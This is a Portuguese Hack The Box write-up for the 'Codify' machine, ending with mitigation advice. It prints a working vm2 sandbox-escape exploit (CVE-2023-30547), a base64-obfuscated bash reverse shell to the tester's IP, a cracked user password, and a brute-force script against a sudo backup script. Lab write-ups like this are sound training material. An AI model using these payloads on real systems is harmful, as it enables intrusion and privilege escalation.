Codify
Introdução
Codify é uma máquina Linux de dificuldade Easy da plataforma Hack The Box.
O alvo expõe uma aplicação web em Node.js que permite executar trechos de código JavaScript dentro de um “sandbox” construído sobre a biblioteca vm2. A vulnerabilidade CVE-2023-30547 nessa biblioteca permite escapar do sandbox e executar comandos arbitrários no servidor, obtendo acesso inicial como o usuário svc. Na pós-exploração, um arquivo de banco de dados expõe o hash bcrypt da senha do usuário joshua, que é quebrado offline com o john. O acesso a root é obtido explorando uma falha de comparação de senha caractere a caractere em um script de backup executável via sudo.
IP alvo: 10.10.11.239
Escaneamento
O primeiro passo é escanear a máquina em busca de portas e serviços abertos, usando nmap.
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.239 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.239
O nmap revela três portas abertas: 22 (ssh), 80 (http) e 3000 (http).
Enumeração
Porta 80 (http)
A página hospeda uma aplicação web que executa código Node.js submetido pelo usuário. A ideia é que esse código rode dentro de um sandbox, impedindo a execução de comandos no servidor.
Na aba “About us” descobrimos que o sandboxing é implementado com a biblioteca vm2:
http://codify.htb/about
E encontramos o local onde o código é de fato executado:
http://codify.htb/editor

Porta 3000 (http)
Está rodando o mesmo serviço presente na porta 80.
Exploração
CVE-2023-30547 — Sandbox Escape na biblioteca vm2
A aplicação vulnerável é a biblioteca vm2, usada pela aplicação web para “sandboxing” do código JavaScript enviado pelos usuários no editor. A vulnerabilidade explorada é a CVE-2023-30547, um bypass de sandbox que permite escapar completamente do isolamento e executar código arbitrário no host.
https://github.com/advisories/GHSA-ch3r-j5x3-6q2m
Pesquisando sobre a biblioteca, encontramos essa vulnerabilidade já conhecida e documentada publicamente.
A técnica de exploração abusa da cadeia de protótipos (prototype chain) do JavaScript: um Proxy é usado como handler de getPrototypeOf, e dentro dele forçamos uma recursão infinita que gera um Error().stack. Esse estouro de pilha faz com que o motor V8 exponha, através do constructor do objeto de erro capturado no catch, uma referência ao constructor global — que, fora do sandbox, dá acesso ao objeto process real do Node.js (e não à cópia isolada do vm2). A partir daí, basta chamar process.mainModule.require('child_process').execSync(cmd) para executar comandos diretamente no sistema operacional.
Testei o seguinte payload de prova de conceito (PoC) no editor de código exposto pela aplicação:
const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = 'id'
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));
O comando id foi executado com sucesso fora do sandbox, confirmando a exploração da CVE-2023-30547.
Com a execução de comandos confirmada, montei um payload de shell reversa. O comando de reverse shell foi codificado em base64 para evitar problemas de escaping dentro da string JavaScript:
const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = 'echo -n "L3Vzci9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjYvOTk5OSAwPiYx" | base64 -d | bash'
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));
Com isso, obtivemos uma shell reversa como o usuário svc.
Pós-exploração
Para melhorar a shell e facilitar a interação com o sistema, enviei minha chave pública para ~/.ssh/authorized_keys do usuário svc e passei a acessar a máquina via SSH.
Escalonamento de privilégio (joshua)
Enumerando o sistema de arquivos, foi encontrado um arquivo de banco de dados (SQLite) contendo o hash bcrypt da senha do usuário joshua.
O hash foi quebrado offline com o john, usando a wordlist rockyou.txt:
john hash-joshua --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
Com a senha em mãos, foi possível autenticar via SSH como joshua:
ssh joshua@10.10.11.239
spongebob1

Escalonamento de privilégio (root)
Com o usuário joshua, verifiquei as permissões de sudo e encontrei o script /opt/scripts/mysql-backup.sh executável como root. Analisando o script, ele pede uma senha e a compara com o valor esperado caractere por caractere, retornando erro assim que encontra o primeiro caractere incorreto. Esse comportamento cria um canal lateral (side channel) baseado na resposta do próprio script: dá para descobrir a senha, um caractere de cada vez, observando se a mensagem retornada é de sucesso ou falha para cada tentativa.
Automatizei esse ataque de força bruta caractere a caractere com o script Python abaixo:
import string
import subprocess
all_chars = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for char in all_chars:
command = f"echo '{password}{char}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += char
break
else:
print(f"\r[-] Tentando: {password + char}", end="")
else:
found = True
print(f"\r[+] Senha encontrada: {password}")
Descoberta a senha, foi possível executar o script mysql-backup.sh via sudo com sucesso, obtendo acesso como root.
Anexos
Scripts utilizados durante o teste: Escaneamento de portas (nmap)
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.239 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.239
PoC do sandbox escape (CVE-2023-30547)
const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = 'id'
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));
Payload de shell reversa via sandbox escape
const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = 'echo -n "L3Vzci9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjYvOTk5OSAwPiYx" | base64 -d | bash'
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));
Quebra do hash bcrypt (john)
john hash-joshua --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
**Força bruta caractere a caractere contra **mysql-backup.sh
import string
import subprocess
all_chars = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for char in all_chars:
command = f"echo '{password}{char}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += char
break
else:
print(f"\r[-] Tentando: {password + char}", end="")
else:
found = True
print(f"\r[+] Senha encontrada: {password}")
Mitigação
- Atualizar a biblioteca vm2 para uma versão corrigida imediatamente. Vale lembrar que o projeto vm2 foi descontinuado pelos mantenedores após diversas vulnerabilidades críticas de sandbox escape — o ideal é migrar para uma alternativa mantida ativamente (como
isolated-vm, sandboxes baseados em processos separados/containers, ou motores de isolamento via V8 isolates), já que nenhum sandbox em JavaScript puro é garantidamente seguro contra esse tipo de abuso doError.stack/prototype chain. - Nunca implementar comparação de senhas caractere a caractere com early-exit (retorno assim que o primeiro caractere diverge). Esse padrão cria um canal lateral de tempo/resposta que permite quebrar a senha em O(n×m) tentativas em vez de força bruta completa. Use sempre uma função de comparação em tempo constante (ex.:
hmac.compare_digestem Python, ou comparação de hashes em vez de valores em texto puro) para evitar esse tipo de ataque. - Restringir o
sudoersao mínimo necessário, evitando permitir a execução de scripts shell customizados com privilégios de root sempre que uma alternativa mais restrita (capacidades específicas, binários dedicados sem interpretação de shell, etc.) for viável. - Evitar armazenar segredos e hashes de senha em bancos de dados acessíveis por usuários de baixo privilégio, e revisar permissões de arquivos que possam vazar credenciais entre contas do sistema.